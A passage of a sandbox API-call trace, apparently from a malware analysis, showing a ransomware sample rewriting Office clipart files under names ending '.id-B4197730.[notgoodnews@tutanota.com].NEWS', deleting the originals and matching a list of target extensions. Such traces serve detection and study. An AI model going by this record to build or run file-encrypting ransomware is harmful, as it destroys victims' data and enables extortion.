Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0090.692] lstrlenW (lpString=".1cd") returned 4 [0090.692] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0090.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0090.692] lstrlenW (lpString=".jpg") returned 4 [0090.692] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0090.692] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.693] lstrlenW (lpString="J0099151.WMF") returned 12 [0090.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.693] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=26086) returned 1 [0090.693] CloseHandle (hObject=0x39c) returned 1 [0090.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220 [0090.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.693] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.693] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0090.694] GetLastError () returned 0x0 [0090.694] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x65e6, lpOverlapped=0x0) returned 1 [0090.695] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x65f0, lpOverlapped=0x0) returned 1 [0090.697] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.697] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.697] SetEndOfFile (hFile=0x370) returned 1 [0090.697] CloseHandle (hObject=0x370) returned 1 [0090.697] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.697] SetEndOfFile (hFile=0x39c) returned 1 [0090.698] CloseHandle (hObject=0x39c) returned 1 [0090.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0090.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0090.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0090.699] lstrlenW (lpString=".doc") returned 4 [0090.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.699] lstrlenW (lpString=".docx") returned 5 [0090.699] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0090.699] lstrlenW (lpString=".pdf") returned 4 [0090.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.699] lstrlenW (lpString=".xls") returned 4 [0090.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.699] lstrlenW (lpString=".xlsx") returned 5 [0090.699] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0090.699] lstrlenW (lpString=".ppt") returned 4 [0090.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0090.699] lstrlenW (lpString=".zip") returned 4 [0090.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.699] lstrlenW (lpString=".rar") returned 4 [0090.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.699] lstrlenW (lpString=".bz2") returned 4 [0090.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.699] lstrlenW (lpString=".7z") returned 3 [0090.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0090.699] lstrlenW (lpString=".dbf") returned 4 [0090.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0090.699] lstrlenW (lpString=".1cd") returned 4 [0090.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0090.699] lstrlenW (lpString=".jpg") returned 4 [0090.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0090.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0090.700] lstrlenW (lpString=".doc") returned 4 [0090.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.700] lstrlenW (lpString=".docx") returned 5 [0090.700] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0090.700] lstrlenW (lpString=".pdf") returned 4 [0090.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.700] lstrlenW (lpString=".xls") returned 4 [0090.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.700] lstrlenW (lpString=".xlsx") returned 5 [0090.700] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0090.700] lstrlenW (lpString=".ppt") returned 4 [0090.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0090.700] lstrlenW (lpString=".zip") returned 4 [0090.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.700] lstrlenW (lpString=".rar") returned 4 [0090.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.700] lstrlenW (lpString=".bz2") returned 4 [0090.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.700] lstrlenW (lpString=".7z") returned 3 [0090.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0090.700] lstrlenW (lpString=".dbf") returned 4 [0090.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0090.700] lstrlenW (lpString=".1cd") returned 4 [0090.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0090.700] lstrlenW (lpString=".jpg") returned 4 [0090.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.701] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0090.701] lstrlenW (lpString="J0099152.JPG") returned 12 [0090.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.701] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=11694) returned 1 [0090.701] CloseHandle (hObject=0x39c) returned 1 [0090.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220 [0090.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.701] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.701] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0090.702] GetLastError () returned 0x0 [0090.702] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x2dae, lpOverlapped=0x0) returned 1 [0090.900] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x2db0, lpOverlapped=0x0) returned 1 [0090.901] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.901] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.901] SetEndOfFile (hFile=0x370) returned 1 [0091.285] CloseHandle (hObject=0x370) returned 1 [0091.285] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.292] SetEndOfFile (hFile=0x39c) returned 1 [0091.296] CloseHandle (hObject=0x39c) returned 1 [0091.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0091.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0091.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0091.296] lstrlenW (lpString=".doc") returned 4 [0091.297] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.297] lstrlenW (lpString=".docx") returned 5 [0091.297] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0091.297] lstrlenW (lpString=".pdf") returned 4 [0091.297] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.297] lstrlenW (lpString=".xls") returned 4 [0091.297] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.297] lstrlenW (lpString=".xlsx") returned 5 [0091.297] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0091.297] lstrlenW (lpString=".ppt") returned 4 [0091.297] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0091.297] lstrlenW (lpString=".zip") returned 4 [0091.297] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.297] lstrlenW (lpString=".rar") returned 4 [0091.297] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.297] lstrlenW (lpString=".bz2") returned 4 [0091.297] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.297] lstrlenW (lpString=".7z") returned 3 [0091.297] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0091.297] lstrlenW (lpString=".dbf") returned 4 [0091.297] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0091.297] lstrlenW (lpString=".1cd") returned 4 [0091.297] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0091.297] lstrlenW (lpString=".jpg") returned 4 [0091.297] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0091.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0091.297] lstrlenW (lpString=".doc") returned 4 [0091.297] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.297] lstrlenW (lpString=".docx") returned 5 [0091.297] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0091.297] lstrlenW (lpString=".pdf") returned 4 [0091.298] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.298] lstrlenW (lpString=".xls") returned 4 [0091.298] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.298] lstrlenW (lpString=".xlsx") returned 5 [0091.298] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0091.298] lstrlenW (lpString=".ppt") returned 4 [0091.298] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0091.298] lstrlenW (lpString=".zip") returned 4 [0091.298] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.298] lstrlenW (lpString=".rar") returned 4 [0091.298] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.298] lstrlenW (lpString=".bz2") returned 4 [0091.298] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.298] lstrlenW (lpString=".7z") returned 3 [0091.298] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0091.298] lstrlenW (lpString=".dbf") returned 4 [0091.298] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0091.298] lstrlenW (lpString=".1cd") returned 4 [0091.298] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0091.298] lstrlenW (lpString=".jpg") returned 4 [0091.298] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.298] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0091.298] lstrlenW (lpString="J0099168.JPG") returned 12 [0091.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0091.299] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=20179) returned 1 [0091.299] CloseHandle (hObject=0x39c) returned 1 [0091.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 0x220 [0091.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0091.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0091.299] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.299] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0091.300] GetLastError () returned 0x0 [0091.300] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x4ed3, lpOverlapped=0x0) returned 1 [0091.301] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0091.303] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0091.303] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0091.303] SetEndOfFile (hFile=0x370) returned 1 [0091.303] CloseHandle (hObject=0x370) returned 1 [0091.303] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0091.303] SetEndOfFile (hFile=0x39c) returned 1 [0091.304] CloseHandle (hObject=0x39c) returned 1 [0091.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0091.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 1 [0091.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0091.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0091.304] lstrlenW (lpString=".doc") returned 4 [0091.305] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.305] lstrlenW (lpString=".docx") returned 5 [0091.305] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0091.305] lstrlenW (lpString=".pdf") returned 4 [0091.305] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.305] lstrlenW (lpString=".xls") returned 4 [0091.305] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.305] lstrlenW (lpString=".xlsx") returned 5 [0091.305] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0091.305] lstrlenW (lpString=".ppt") returned 4 [0091.305] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0091.305] lstrlenW (lpString=".zip") returned 4 [0091.305] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.305] lstrlenW (lpString=".rar") returned 4 [0091.305] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.305] lstrlenW (lpString=".bz2") returned 4 [0091.305] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.305] lstrlenW (lpString=".7z") returned 3 [0091.305] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0091.305] lstrlenW (lpString=".dbf") returned 4 [0091.305] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0091.305] lstrlenW (lpString=".1cd") returned 4 [0091.305] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0091.305] lstrlenW (lpString=".jpg") returned 4 [0091.305] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0091.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0091.305] lstrlenW (lpString=".doc") returned 4 [0091.305] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0091.305] lstrlenW (lpString=".docx") returned 5 [0091.305] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0091.305] lstrlenW (lpString=".pdf") returned 4 [0091.306] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0091.306] lstrlenW (lpString=".xls") returned 4 [0091.306] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0091.306] lstrlenW (lpString=".xlsx") returned 5 [0091.306] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0091.306] lstrlenW (lpString=".ppt") returned 4 [0091.306] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0091.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0091.306] lstrlenW (lpString=".zip") returned 4 [0091.306] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0091.306] lstrlenW (lpString=".rar") returned 4 [0091.306] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0091.306] lstrlenW (lpString=".bz2") returned 4 [0091.306] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0091.306] lstrlenW (lpString=".7z") returned 3 [0091.306] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0091.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0091.306] lstrlenW (lpString=".dbf") returned 4 [0091.306] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0091.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0091.306] lstrlenW (lpString=".1cd") returned 4 [0091.306] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0091.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0091.306] lstrlenW (lpString=".jpg") returned 4 [0091.306] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0091.306] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0091.306] lstrlenW (lpString="J0099169.WMF") 